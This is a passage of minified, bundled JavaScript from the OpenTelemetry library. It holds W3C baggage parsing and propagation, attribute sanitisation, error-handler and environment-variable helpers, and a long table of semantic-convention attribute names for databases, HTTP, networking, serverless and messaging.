n56=v((cj4)=>{Object.defineProperty(cj4,"__esModule",{value:!0});cj4.BAGGAGE_MAX_TOTAL_LENGTH=cj4.BAGGAGE_MAX_PER_NAME_VALUE_PAIRS=cj4.BAGGAGE_MAX_NAME_VALUE_PAIRS=cj4.BAGGAGE_HEADER=cj4.BAGGAGE_ITEMS_SEPARATOR=cj4.BAGGAGE_PROPERTIES_SEPARATOR=cj4.BAGGAGE_KEY_PAIR_SEPARATOR=void 0;cj4.BAGGAGE_KEY_PAIR_SEPARATOR="=";cj4.BAGGAGE_PROPERTIES_SEPARATOR=";";cj4.BAGGAGE_ITEMS_SEPARATOR=",";cj4.BAGGAGE_HEADER="baggage";cj4.BAGGAGE_MAX_NAME_VALUE_PAIRS=180;cj4.BAGGAGE_MAX_PER_NAME_VALUE_PAIRS=4096;cj4.BAGGAGE_MAX_TOTAL_LENGTH=8192});var r56=v((nj4)=>{Object.defineProperty(nj4,"__esModule",{value:!0});nj4.parseKeyPairsIntoRecord=nj4.parsePairKeyValue=nj4.getKeyPairs=nj4.serializeKeyPairs=void 0;var tK9=RK(),u4A=n56();function eK9(A){return A.reduce((K,q)=>{let Y=`${K}${K!==""?u4A.BAGGAGE_ITEMS_SEPARATOR:""}${q}`;return Y.length>u4A.BAGGAGE_MAX_TOTAL_LENGTH?K:Y},"")}nj4.serializeKeyPairs=eK9;function Aq9(A){return A.getAllEntries().map(([K,q])=>{let Y=`${encodeURIComponent(K)}=${encodeURIComponent(q.value)}`;if(q.metadata!==void 0)Y+=u4A.BAGGAGE_PROPERTIES_SEPARATOR+q.metadata.toString();return Y})}nj4.getKeyPairs=Aq9;function ij4(A){let K=A.split(u4A.BAGGAGE_PROPERTIES_SEPARATOR);if(K.length<=0)return;let q=K.shift();if(!q)return;let Y=q.indexOf(u4A.BAGGAGE_KEY_PAIR_SEPARATOR);if(Y<=0)return;let z=decodeURIComponent(q.substring(0,Y).trim()),w=decodeURIComponent(q.substring(Y+1).trim()),H;if(K.length>0)H=(0,tK9.baggageEntryMetadataFromString)(K.join(u4A.BAGGAGE_PROPERTIES_SEPARATOR));return{key:z,value:w,metadata:H}}nj4.parsePairKeyValue=ij4;function Kq9(A){let K={};if(typeof A==="string"&&A.length>0)A.split(u4A.BAGGAGE_ITEMS_SEPARATOR).forEach((q)=>{let Y=ij4(q);if(Y!==void 0&&Y.value.length>0)K[Y.key]=Y.value});return K}nj4.parseKeyPairsIntoRecord=Kq9});var tj4=v((aj4)=>{Object.defineProperty(aj4,"__esModule",{value:!0});aj4.W3CBaggagePropagator=void 0;var o56=RK(),wq9=TIA(),B4A=n56(),a56=r56();class oj4{inject(A,K,q){let Y=o56.propagation.getBaggage(A);if(!Y||(0,wq9.isTracingSuppressed)(A))return;let z=(0,a56.getKeyPairs)(Y).filter((H)=>{return H.length<=B4A.BAGGAGE_MAX_PER_NAME_VALUE_PAIRS}).slice(0,B4A.BAGGAGE_MAX_NAME_VALUE_PAIRS),w=(0,a56.serializeKeyPairs)(z);if(w.length>0)q.set(K,B4A.BAGGAGE_HEADER,w)}extract(A,K,q){let Y=q.get(K,B4A.BAGGAGE_HEADER),z=Array.isArray(Y)?Y.join(B4A.BAGGAGE_ITEMS_SEPARATOR):Y;if(!z)return A;let w={};if(z.length===0)return A;if(z.split(B4A.BAGGAGE_ITEMS_SEPARATOR).forEach((J)=>{let O=(0,a56.parsePairKeyValue)(J);if(O){let X={value:O.value};if(O.metadata)X.metadata=O.metadata;w[O.key]=X}}),Object.entries(w).length===0)return A;return o56.propagation.setBaggage(A,o56.propagation.createBaggage(w))}fields(){return[B4A.BAGGAGE_HEADER]}}aj4.W3CBaggagePropagator=oj4});var qM4=v((AM4)=>{Object.defineProperty(AM4,"__esModule",{value:!0});AM4.AnchoredClock=void 0;class ej4{_monotonicClock;_epochMillis;_performanceMillis;constructor(A,K){this._monotonicClock=K,this._epochMillis=A.now(),this._performanceMillis=K.now()}now(){let A=this._monotonicClock.now()-this._performanceMillis;return this._epochMillis+A}}AM4.AnchoredClock=ej4});var XM4=v((JM4)=>{Object.defineProperty(JM4,"__esModule",{value:!0});JM4.isAttributeValue=JM4.isAttributeKey=JM4.sanitizeAttributes=void 0;var YM4=RK();function Hq9(A){let K={};if(typeof A!=="object"||A==null)return K;for(let q in A){if(!Object.prototype.hasOwnProperty.call(A,q))continue;if(!zM4(q)){YM4.diag.warn(`Invalid attribute key: ${q}`);continue}let Y=A[q];if(!wM4(Y)){YM4.diag.warn(`Invalid attribute value set for key: ${q}`);continue}if(Array.isArray(Y))K[q]=Y.slice();else K[q]=Y}return K}JM4.sanitizeAttributes=Hq9;function zM4(A){return typeof A==="string"&&A!==""}JM4.isAttributeKey=zM4;function wM4(A){if(A==null)return!0;if(Array.isArray(A))return Jq9(A);return HM4(typeof A)}JM4.isAttributeValue=wM4;function Jq9(A){let K;for(let q of A){if(q==null)continue;let Y=typeof q;if(Y===K)continue;if(!K){if(HM4(Y)){K=Y;continue}return!1}return!1}return!0}function HM4(A){switch(A){case"number":case"boolean":case"string":return!0}return!1}});var s56=v(($M4)=>{Object.defineProperty($M4,"__esModule",{value:!0});$M4.loggingErrorHandler=void 0;var $q9=RK();function _q9(){return(A)=>{$q9.diag.error(Gq9(A))}}$M4.loggingErrorHandler=_q9;function Gq9(A){if(typeof A==="string")return A;else return JSON.stringify(Zq9(A))}function Zq9(A){let K={},q=A;while(q!==null)Object.getOwnPropertyNames(q).forEach((Y)=>{if(K[Y])return;let z=q[Y];if(z)K[Y]=String(z)}),q=Object.getPrototypeOf(q);return K}});var DM4=v((ZM4)=>{Object.defineProperty(ZM4,"__esModule",{value:!0});ZM4.globalErrorHandler=ZM4.setGlobalErrorHandler=void 0;var Wq9=s56(),GM4=(0,Wq9.loggingErrorHandler)();function Dq9(A){GM4=A}ZM4.setGlobalErrorHandler=Dq9;function jq9(A){try{GM4(A)}catch{}}ZM4.globalErrorHandler=jq9});var NM4=v((VM4)=>{Object.defineProperty(VM4,"__esModule",{value:!0});VM4.getStringListFromEnv=VM4.getBooleanFromEnv=VM4.getStringFromEnv=VM4.getNumberFromEnv=void 0;var jM4=RK(),MM4=CA("util");function Pq9(A){let K=process.env[A];if(K==null||K.trim()==="")return;let q=Number(K);if(isNaN(q)){jM4.diag.warn(`Unknown value ${(0,MM4.inspect)(K)} for ${A}, expected a number, using defaults`);return}return q}VM4.getNumberFromEnv=Pq9;function PM4(A){let K=process.env[A];if(K==null||K.trim()==="")return;return K}VM4.getStringFromEnv=PM4;function Vq9(A){let K=process.env[A]?.trim().toLowerCase();if(K==null||K==="")return!1;if(K==="true")return!0;else if(K==="false")return!1;else return jM4.diag.warn(`Unknown value ${(0,MM4.inspect)(K)} for ${A}, expected 'true' or 'false', falling back to 'false' (default)`),!1}VM4.getBooleanFromEnv=Vq9;function fq9(A){return PM4(A)?.split(",").map((K)=>K.trim()).filter((K)=>K!=="")}VM4.getStringListFromEnv=fq9});var EM4=v((TM4)=>{Object.defineProperty(TM4,"__esModule",{value:!0});TM4._globalThis=void 0;TM4._globalThis=typeof globalThis==="object"?globalThis:global});var LM4=v((kM4)=>{Object.defineProperty(kM4,"__esModule",{value:!0});kM4.otperformance=void 0;var Eq9=CA("perf_hooks");kM4.otperformance=Eq9.performance});var IM4=v((RM4)=>{Object.defineProperty(RM4,"__esModule",{value:!0});RM4.VERSION=void 0;RM4.VERSION="2.2.0"});var t56=v((SM4)=>{Object.defineProperty(SM4,"__esModule",{value:!0});SM4.createConstMap=void 0;function kq9(A){let K={},q=A.length;for(let Y=0;Y<q;Y++){let z=A[Y];if(z)K[String(z).toUpperCase().replace(/[-.]/g,"_")]=z}return K}SM4.createConstMap=kq9});var yT4=v((TT4)=>{Object.defineProperty(TT4,"__esModule",{value:!0});TT4.SEMATTRS_NET_HOST_CARRIER_ICC=TT4.SEMATTRS_NET_HOST_CARRIER_MNC=TT4.SEMATTRS_NET_HOST_CARRIER_MCC=TT4.SEMATTRS_NET_HOST_CARRIER_NAME=TT4.SEMATTRS_NET_HOST_CONNECTION_SUBTYPE=TT4.SEMATTRS_NET_HOST_CONNECTION_TYPE=TT4.SEMATTRS_NET_HOST_NAME=TT4.SEMATTRS_NET_HOST_PORT=TT4.SEMATTRS_NET_HOST_IP=TT4.SEMATTRS_NET_PEER_NAME=TT4.SEMATTRS_NET_PEER_PORT=TT4.SEMATTRS_NET_PEER_IP=TT4.SEMATTRS_NET_TRANSPORT=TT4.SEMATTRS_FAAS_INVOKED_REGION=TT4.SEMATTRS_FAAS_INVOKED_PROVIDER=TT4.SEMATTRS_FAAS_INVOKED_NAME=TT4.SEMATTRS_FAAS_COLDSTART=TT4.SEMATTRS_FAAS_CRON=TT4.SEMATTRS_FAAS_TIME=TT4.SEMATTRS_FAAS_DOCUMENT_NAME=TT4.SEMATTRS_FAAS_DOCUMENT_TIME=TT4.SEMATTRS_FAAS_DOCUMENT_OPERATION=TT4.SEMATTRS_FAAS_DOCUMENT_COLLECTION=TT4.SEMATTRS_FAAS_EXECUTION=TT4.SEMATTRS_FAAS_TRIGGER=TT4.SEMATTRS_EXCEPTION_ESCAPED=TT4.SEMATTRS_EXCEPTION_STACKTRACE=TT4.SEMATTRS_EXCEPTION_MESSAGE=TT4.SEMATTRS_EXCEPTION_TYPE=TT4.SEMATTRS_DB_SQL_TABLE=TT4.SEMATTRS_DB_MONGODB_COLLECTION=TT4.SEMATTRS_DB_REDIS_DATABASE_INDEX=TT4.SEMATTRS_DB_HBASE_NAMESPACE=TT4.SEMATTRS_DB_CASSANDRA_COORDINATOR_DC=TT4.SEMATTRS_DB_CASSANDRA_COORDINATOR_ID=TT4.SEMATTRS_DB_CASSANDRA_SPECULATIVE_EXECUTION_COUNT=TT4.SEMATTRS_DB_CASSANDRA_IDEMPOTENCE=TT4.SEMATTRS_DB_CASSANDRA_TABLE=TT4.SEMATTRS_DB_CASSANDRA_CONSISTENCY_LEVEL=TT4.SEMATTRS_DB_CASSANDRA_PAGE_SIZE=TT4.SEMATTRS_DB_CASSANDRA_KEYSPACE=TT4.SEMATTRS_DB_MSSQL_INSTANCE_NAME=TT4.SEMATTRS_DB_OPERATION=TT4.SEMATTRS_DB_STATEMENT=TT4.SEMATTRS_DB_NAME=TT4.SEMATTRS_DB_JDBC_DRIVER_CLASSNAME=TT4.SEMATTRS_DB_USER=TT4.SEMATTRS_DB_CONNECTION_STRING=TT4.SEMATTRS_DB_SYSTEM=TT4.SEMATTRS_AWS_LAMBDA_INVOKED_ARN=void 0;TT4.SEMATTRS_MESSAGING_DESTINATION_KIND=TT4.SEMATTRS_MESSAGING_DESTINATION=TT4.SEMATTRS_MESSAGING_SYSTEM=TT4.SEMATTRS_AWS_DYNAMODB_GLOBAL_SECONDARY_INDEX_UPDATES=TT4.SEMATTRS_AWS_DYNAMODB_ATTRIBUTE_DEFINITIONS=TT4.SEMATTRS_AWS_DYNAMODB_SCANNED_COUNT=TT4.SEMATTRS_AWS_DYNAMODB_COUNT=TT4.SEMATTRS_AWS_DYNAMODB_TOTAL_SEGMENTS=TT4.SEMATTRS_AWS_DYNAMODB_SEGMENT=TT4.SEMATTRS_AWS_DYNAMODB_SCAN_FORWARD=TT4.SEMATTRS_AWS_DYNAMODB_TABLE_COUNT=TT4.SEMATTRS_AWS_DYNAMODB_EXCLUSIVE_START_TABLE=TT4.SEMATTRS_AWS_DYNAMODB_LOCAL_SECONDARY_INDEXES=TT4.SEMATTRS_AWS_DYNAMODB_GLOBAL_SECONDARY_INDEXES=TT4.SEMATTRS_AWS_DYNAMODB_SELECT=TT4.SEMATTRS_AWS_DYNAMODB_INDEX_NAME=TT4.SEMATTRS_AWS_DYNAMODB_ATTRIBUTES_TO_GET=TT4.SEMATTRS_AWS_DYNAMODB_LIMIT=TT4.SEMATTRS_AWS_DYNAMODB_PROJECTION=TT4.SEMATTRS_AWS_DYNAMODB_CONSISTENT_READ=TT4.SEMATTRS_AWS_DYNAMODB_PROVISIONED_WRITE_CAPACITY=TT4.SEMATTRS_AWS_DYNAMODB_PROVISIONED_READ_CAPACITY=TT4.SEMATTRS_AWS_DYNAMODB_ITEM_COLLECTION_METRICS=TT4.SEMATTRS_AWS_DYNAMODB_CONSUMED_CAPACITY=TT4.SEMATTRS_AWS_DYNAMODB_TABLE_NAMES=TT4.SEMATTRS_HTTP_CLIENT_IP=TT4.SEMATTRS_HTTP_ROUTE=TT4.SEMATTRS_HTTP_SERVER_NAME=TT4.SEMATTRS_HTTP_RESPONSE_CONTENT_LENGTH_UNCOMPRESSED=TT4.SEMATTRS_HTTP_RESPONSE_CONTENT_LENGTH=TT4.SEMATTRS_HTTP_REQUEST_CONTENT_LENGTH_UNCOMPRESSED=TT4.SEMATTRS_HTTP_REQUEST_CONTENT_LENGTH=TT4.SEMATTRS_HTTP_USER_AGENT=TT4.SEMATTRS_HTTP_FLAVOR=TT4.SEMATTRS_HTTP_STATUS_CODE=TT4.SEMATTRS_HTTP_SCHEME=TT4.SEMATTRS_HTTP_HOST=TT4.SEMATTRS_HTTP_TARGET=TT4.SEMATTRS_HTTP_URL=TT4.SEMATTRS_HTTP_METHOD=TT4.SEMATTRS_CODE_LINENO=TT4.SEMATTRS_CODE_FILEPATH=TT4.SEMATTRS_CODE_NAMESPACE=TT4.SEMATTRS_CODE_FUNCTION=TT4.SEMATTRS_THREAD_NAME=TT4.SEMATTRS_THREAD_ID=TT4.SEMATTRS_ENDUSER_SCOPE=TT4.SEMATTRS_ENDUSER_ROLE=TT4.SEMATTRS_ENDUSER_ID=TT4.SEMATTRS_PEER_SERVICE=void 0;TT4.DBSYSTEMVALUES_FILEMAKER=TT4.DBSYSTEMVALUES_DERBY=TT4.DBSYSTEMVALUES_FIREBIRD=TT4.DBSYSTEMVALUES_ADABAS=TT4.DBSYSTEMVALUES_CACHE=TT4.DBSYSTEMVALUES_EDB=TT4.DBSYSTEMVALUES_FIRSTSQL=TT4.DBSYSTEMVALUES_INGRES=TT4.DBSYSTEMVALUES_HANADB=TT4.DBSYSTEMVALUES_MAXDB=TT4.DBSYSTEMVALUES_PROGRESS=TT4.DBSYSTEMVALUES_HSQLDB=TT4.DBSYSTEMVALUES_CLOUDSCAPE=TT4.DBSYSTEMVALUES_HIVE=TT4.DBSYSTEMVALUES_REDSHIFT=TT4.DBSYSTEMVALUES_POSTGRESQL=TT4.DBSYSTEMVALUES_DB2=TT4.DBSYSTEMVALUES_ORACLE=TT4.DBSYSTEMVALUES_MYSQL=TT4.DBSYSTEMVALUES_MSSQL=TT4.DBSYSTEMVALUES_OTHER_SQL=TT4.SemanticAttributes=TT4.SEMATTRS_MESSAGE_UNCOMPRESSED_SIZE=TT4.SEMATTRS_MESSAGE_COMPRESSED_SIZE=TT4.SEMATTRS_MESSAGE_ID=TT4.SEMATTRS_MESSAGE_TYPE=TT4.SEMATTRS_RPC_JSONRPC_ERROR_MESSAGE=TT4.SEMATTRS_RPC_JSONRPC_ERROR_CODE=TT4.SEMATTRS_RPC_JSONRPC_REQUEST_ID=TT4.SEMATTRS_RPC_JSONRPC_VERSION=TT4.SEMATTRS_RPC_GRPC_STATUS_CODE=TT4.SEMATTRS_RPC_METHOD=TT4.SEMATTRS_RPC_SERVICE=TT4.SEMATTRS_RPC_SYSTEM=TT4.SEMATTRS_MESSAGING_KAFKA_TOMBSTONE=TT4.SEMATTRS_MESSAGING_KAFKA_PARTITION=TT4.SEMATTRS_MESSAGING_KAFKA_CLIENT_ID=TT4.SEMATTRS_MESSAGING_KAFKA_CONSUMER_GROUP=TT4.SEMATTRS_MESSAGING_KAFKA_MESSAGE_KEY=TT4.SEMATTRS_MESSAGING_RABBITMQ_ROUTING_KEY=TT4.SEMATTRS_MESSAGING_CONSUMER_ID=TT4.SEMATTRS_MESSAGING_OPERATION=TT4.SEMATTRS_MESSAGING_MESSAGE_PAYLOAD_COMPRESSED_SIZE_BYTES=TT4.SEMATTRS_MESSAGING_MESSAGE_PAYLOAD_SIZE_BYTES=TT4.SEMATTRS_MESSAGING_CONVERSATION_ID=TT4.SEMATTRS_MESSAGING_MESSAGE_ID=TT4.SEMATTRS_MESSAGING_URL=TT4.SEMATTRS_MESSAGING_PROTOCOL_VERSION=TT4.SEMATTRS_MESSAGING_PROTOCOL=TT4.SEMATTRS_MESSAGING_TEMP_DESTINATION=void 0;TT4.FAASINVOKEDPROVIDERVALUES_ALIBABA_CLOUD=TT4.FaasDocumentOperationValues=TT4.FAASDOCUMENTOPERATIONVALUES_DELETE=TT4.FAASDOCUMENTOPERATIONVALUES_EDIT=TT4.FAASDOCUMENTOPERATIONVALUES_INSERT=TT4.FaasTriggerValues=TT4.FAASTRIGGERVALUES_OTHER=TT4.FAASTRIGGERVALUES_TIMER=TT4.FAASTRIGGERVALUES_PUBSUB=TT4.FAASTRIGGERVALUES_HTTP=TT4.FAASTRIGGERVALUES_DATASOURCE=TT4.DbCassandraConsistencyLevelValues=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_LOCAL_SERIAL=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_SERIAL=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_ANY=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_LOCAL_ONE=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_THREE=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_TWO=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_ONE=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_LOCAL_QUORUM=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_QUORUM=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_EACH_QUORUM=TT4.DBCASSANDRACONSISTENCYLEVELVALUES_ALL=TT4.DbSystemValues=TT4.DBSYSTEMVALUES_COCKROACHDB=TT4.DBSYSTEMVALUES_MEMCACHED=TT4.DBSYSTEMVALUES_ELASTICSEARCH=TT4.DBSYSTEMVALUES_GEODE=TT4.DBSYSTEMVALUES_NEO4J=TT4.DBSYSTEMVALUES_DYNAMODB=TT4.DBSYSTEMVALUES_COSMOSDB=TT4.DBSYSTEMVALUES_COUCHDB=TT4.DBSYSTEMVALUES_COUCHBASE=TT4.DBSYSTEMVALUES_REDIS=TT4.DBSYSTEMVALUES_MONGODB=TT4.DBSYSTEMVALUES_HBASE=TT4.DBSYSTEMVALUES_CASSANDRA=TT4.DBSYSTEMVALUES_COLDFUSION=TT4.DBSYSTEMVALUES_H2=TT4.DBSYSTEMVALUES_VERTICA=TT4.DBSYSTEMVALUES_TERADATA=TT4.DBSYSTEMVALUES_SYBASE=TT4.DBSYSTEMVALUES_SQLITE=TT4.DBSYSTEMVALUES_POINTBASE=TT4.DBSYSTEMVALUES_PERVASIVE=TT4.DBSYSTEMVALUES_NETEZZA=TT4.DBSYSTEMVALUES_MARIADB=TT4.DBSYSTEMVALUES_INTERBASE=TT4.DBSYSTEMVALUES_INSTANTDB=TT4.DBSYSTEMVALUES_INFORMIX=void 0;TT4.MESSAGINGOPERATIONVALUES_RECEIVE=TT4.MessagingDestinationKindValues=TT4.MESSAGINGDESTINATIONKINDVALUES_TOPIC=TT4.MESSAGINGDESTINATIONKINDVALUES_QUEUE=TT4.HttpFlavorValues=TT4.HTTPFLAVORVALUES_QUIC=TT4.HTTPFLAVORVALUES_SPDY=TT4.HTTPFLAVORVALUES_HTTP_2_0=TT4.HTTPFLAVORVALUES_HTTP_1_1=TT4.HTTPFLAVORVALUES_HTTP_1_0=TT4.NetHostConnectionSubtypeValues=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_LTE_CA=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_NRNSA=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_NR=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_IWLAN=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_TD_SCDMA=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_GSM=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_HSPAP=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EHRPD=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_LTE=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EVDO_B=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_IDEN=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_HSPA=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_HSUPA=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_HSDPA=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_CDMA2000_1XRTT=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EVDO_A=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EVDO_0=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_CDMA=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_UMTS=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_EDGE=TT4.NETHOSTCONNECTIONSUBTYPEVALUES_GPRS=TT4.NetHostConnectionTypeValues=TT4.NETHOSTCONNECTIONTYPEVALUES_UNKNOWN=TT4.NETHOSTCONNECTIONTYPEVALUES_UNAVAILABLE=TT4.NETHOSTCONNECTIONTYPEVALUES_CELL=TT4.NETHOSTCONNECTIONTYPEVALUES_WIRED=TT4.NETHOSTCONNECTIONTYPEVALUES_WIFI=TT4.NetTransportValues=TT4.NETTRANSPORTVALUES_OTHER=TT4.NETTRANSPORTVALUES_INPROC=TT4.NETTRANSPORTVALUES_PIPE=TT4.NETTRANSPORTVALUES_UNIX=TT4.NETTRANSPORTVALUES_IP=TT4.NETTRANSPORTVALUES_IP_UDP=TT4.NETTRANSPORTVALUES_IP_TCP=TT4.FaasInvokedProviderValues=TT4.FAASINVOKEDPROVIDERVALUES_GCP=TT4.FAASINVOKEDPROVIDERVALUES_AZURE=TT4.FAASINVOKEDPROVIDERVALUES_AWS=void 0;TT4.MessageTypeValues=TT4.MESSAGETYPEVALUES_RECEIVED=TT4.MESSAGETYPEVALUES_SENT=TT4.RpcGrpcStatusCodeValues=TT4.RPCGRPCSTATUSCODEVALUES_UNAUTHENTICATED=TT4.RPCGRPCSTATUSCODEVALUES_DATA_LOSS=TT4.RPCGRPCSTATUSCODEVALUES_UNAVAILABLE=TT4.RPCGRPCSTATUSCODEVALUES_INTERNAL=TT4.RPCGRPCSTATUSCODEVALUES_UNIMPLEMENTED=TT4.RPCGRPCSTATUSCODEVALUES_OUT_OF_RANGE=TT4.RPCGRPCSTATUSCODEVALUES_ABORTED=TT4.RPCGRPCSTATUSCODEVALUES_FAILED_PRECONDITION=TT4.RPCGRPCSTATUSCODEVALUES_RESOURCE_EXHAUSTED=TT4.RPCGRPCSTATUSCODEVALUES_PERMISSION_DENIED=TT4.RPCGRPCSTATUSCODEVALUES_ALREADY_EXISTS=TT4.RPCGRPCSTATUSCODEVALUES_NOT_FOUND=TT4.RPCGRPCSTATUSCODEVALUES_DEADLINE_EXCEEDED=TT4.RPCGRPCSTATUSCODEVALUES_INVALID_ARGUMENT=TT4.RPCGRPCSTATUSCODEVALUES_UNKNOWN=TT4.RPCGRPCSTATUSCODEVALUES_CANCELLED=TT4.RPCGRPCSTATUSCODEVALUES_OK=TT4.MessagingOperationValues=TT4.MESSAGINGOPERATIONVALUES_PROCESS=void 0;var lk=t56(),bM4="aws.lambda.invoked_arn",xM4="db.system",uM4="db.connection_string",BM4="db.user",mM4="db.jdbc.driver_classname",gM4="db.name",FM4="db.statement",QM4="db.operation",UM4="db.mssql.instance_name",pM4="db.cassandra.keyspace",dM4="db.cassandra.page_size",cM4="db.cassandra.consistency_level",lM4="db.cassandra.table",iM4="db.cassandra.idempotence",nM4="db.cassandra.speculative_execution_count",rM4="db.cassandra.coordinator.id",oM4="db.cassandra.coordinator.dc",aM4="db.hbase.namespace",sM4="db.redis.database_index",tM4="db.mongodb.collection",eM4="db.sql.table",AP4="exception.type",KP4="exception.message",qP4="exception.stacktrace",YP4="exception.escaped",zP4="faas.trigger",wP4="faas.execution",HP4="faas.document.collection",JP4="faas.document.operation",OP4="faas.document.time",XP4="faas.document.name",$P4="faas.time",_P4="faas.cron",GP4="faas.coldstart",ZP4="faas.invoked_name",WP4="faas.invoked_provider",DP4="faas.invoked_region",jP4="net.transport",MP4="net.peer.ip",PP4="net.peer.port",VP4="net.peer.name",fP4="net.host.ip",NP4="net.host.port",TP4="net.host.name",vP4="net.host.connection.type",EP4="net.host.connection.subtype",kP4="net.host.carrier.name",CP4="net.host.carrier.mcc",LP4="net.host.carrier.mnc",RP4="net.host.carrier.icc",yP4="peer.service",IP4="enduser.id",SP4="enduser.role",hP4="enduser.scope",bP4="thread.id",xP4="thread.name",uP4="code.function",BP4="code.namespace",mP4="code.filepath",gP4="code.lineno",FP4="http.method",QP4="http.url",UP4="http.target",pP4="http.host",dP4="http.scheme",cP4="http.status_code",lP4="http.flavor",iP4="http.user_agent",nP4="http.request_content_length",rP4="http.request_content_length_uncompressed",oP4="http.response_content_length",aP4="http.response_content_length_uncompressed",sP4="http.server_name",tP4="http.route",eP4="http.client_ip",AV4="aws.dynamodb.table_names",KV4="aws.dynamodb.consumed_capacity",qV4="aws.dynamodb.item_collection_metrics",YV4="aws.dynamodb.provisioned_read_capacity",zV4="aws.dynamodb.provisioned_write_capacity",wV4="aws.dynamodb.consistent_read",HV4="aws.dynamodb.projection",JV4="aws.dynamodb.limit",OV4="aws.dynamodb.attributes_to_get",XV4="aws.dynamodb.index_name",$V4="aws.dynamodb.select",_V4="aws.dynamodb.global_secondary_indexes",GV4="aws.dynamodb.local_secondary_indexes",ZV4="aws.dynamodb.exclusive_start_table",WV4="aws.dynamodb.table_count",DV4="aws.dynamodb.scan_forward",jV4="aws.dynamodb.segment",MV4="aws.dynamodb.total_segments",PV4="aws.dynamodb.count",VV4="aws.dynamodb.scanned_count",fV4="aws.dynamodb.attribute_definitions",NV4="aws.dynamodb.global_secondary_index_updates",TV4="messaging.system",vV4="messaging.destination",EV4="messaging.destination_kind",kV4="messaging.temp_destination",CV4="messaging.protocol",LV4="messaging.protocol_version",RV4="messaging.url",yV4="messaging.message_id",IV4="messaging.conversation_id",SV4="messaging.message_payload_size_bytes",hV4="messaging.message_payload_compressed_size_bytes",bV4="messaging.operation",xV4="messaging.consumer_id",uV4="messaging.rabbitmq.routing_key",BV4="messaging.kafka.message_key",mV4="messaging.kafka.consumer_group",gV4="messaging.kafka.client_id",FV4="messaging.kafka.partition",QV4="messaging.kafka.tombstone",UV4="rpc.system",pV4="rpc.service",dV4="rpc.method",cV4="rpc.grpc.status_code",lV4="rpc.jsonrpc.version",iV4="rpc.jsonrpc.request_id",nV4="rpc.jsonrpc.error_code",rV4="rpc.jsonrpc.error_message",oV4="message.type",aV4="message.id",sV4="message.compressed_size",tV4="message.uncompressed_size";TT4.SEMATTRS_AWS_LAMBDA_INVOKED_ARN=bM4;TT4.SEMATTRS_DB_SYSTEM=xM4;TT4.SEMATTRS_DB_CONNECTION_STRING=uM4;TT4.SEMATTRS_DB_USER=BM4;TT4.SEMATTRS_DB_JDBC_DRIVER_CLASSNAME=mM4;TT4.SEMATTRS_DB_NAME=gM4;TT4.SEMATTRS_DB_STATEMENT=FM4;TT4.SEMATTRS_DB_OPERATION=QM4;TT4.SEMATTRS_DB_MSSQL_INSTANCE_NAME=UM4;TT4.SEMATTRS_DB_CASSANDRA_KEYSPACE=pM4;TT4.SEMATTRS_DB_CASSANDRA_PAGE_SIZE=dM4;TT4.SEMATTRS_DB_CASSANDRA_CONSISTENCY_LEVEL=cM4;TT4.SEMATTRS_DB_CASSANDRA_TABLE=lM4;TT4.SEMATTRS_DB_CASSANDRA_IDEMPOTENCE=iM4;TT4.SEMATTRS_DB_CASSANDRA_SPECULATIVE_EXECUTION_COUNT=nM4;TT4.SEMATTRS_DB_CASSANDRA_COORDINATOR_ID=rM4;TT4.SEMATTRS_DB_CASSANDRA_COORDINATOR_DC=oM4;TT4.SEMATTRS_DB_HBASE_NAMESPACE=aM4;TT4.SEMATTRS_DB_REDIS_DATABASE_INDEX=sM4;TT4.SEMATTRS_DB_MONGODB_COLLECTION=tM4;TT4.SEMATTRS_DB_SQL_TABLE=eM4;TT4.SEMATTRS_EXCEPTION_TYPE=AP4;TT4.SEMATTRS_EXCEPTION_MESSAGE=KP4;TT4.SEMATTRS_EXCEPTION_STACKTRACE=qP4;TT4.SEMATTRS_EXCEPTION_ESCAPED=YP4;TT4.SEMATTRS_FAAS_TRIGGER=zP4;TT4.SEMATTRS_FAAS_EXECUTION=wP4;TT4.SEMATTRS_FAAS_DOCUMENT_COLLECTION=HP4;TT4.SEMATTRS_FAAS_DOCUMENT_OPERATION=JP4;TT4.SEMATTRS_FAAS_DOCUMENT_TIME=OP4;TT4.SEMATTRS_FAAS_DOCUMENT_NAME=XP4;TT4.SEMATTRS_FAAS_TIME=$P4;TT4.SEMATTRS_FAAS_CRON=_P4;TT4.SEMATTRS_FAAS_COLDSTART=GP4;TT4.SEMATTRS_FAAS_INVOKED_NAME=ZP4;TT4.SEMATTRS_FAAS_INVOKED_PROVIDER=WP4;TT4.SEMATTRS_FAAS_INVOKED_REGION=DP4;TT4.SEMATTRS_NET_TRANSPORT=jP4;TT4.SEMATTRS_NET_PEER_IP=MP4;TT4.SEMATTRS_NET_PEER_PORT=PP4;TT4.SEMATTRS_NET_PEER_NAME=VP4;TT4.SEMATTRS_NET_HOST_IP=fP4;TT4.SEMATTRS_NET_HOST_PORT=NP4;TT4.SEMATTRS_NET_HOST_NAME=TP4;TT4.SEMATTRS_NET_HOST_CONNECTION_TYPE=vP4;TT4.SEMATTRS_NET_HOST_CONNECTION_SUBTYPE=EP4;TT4.SEMATTRS_NET_HOST_CARRIER_NAME=kP4;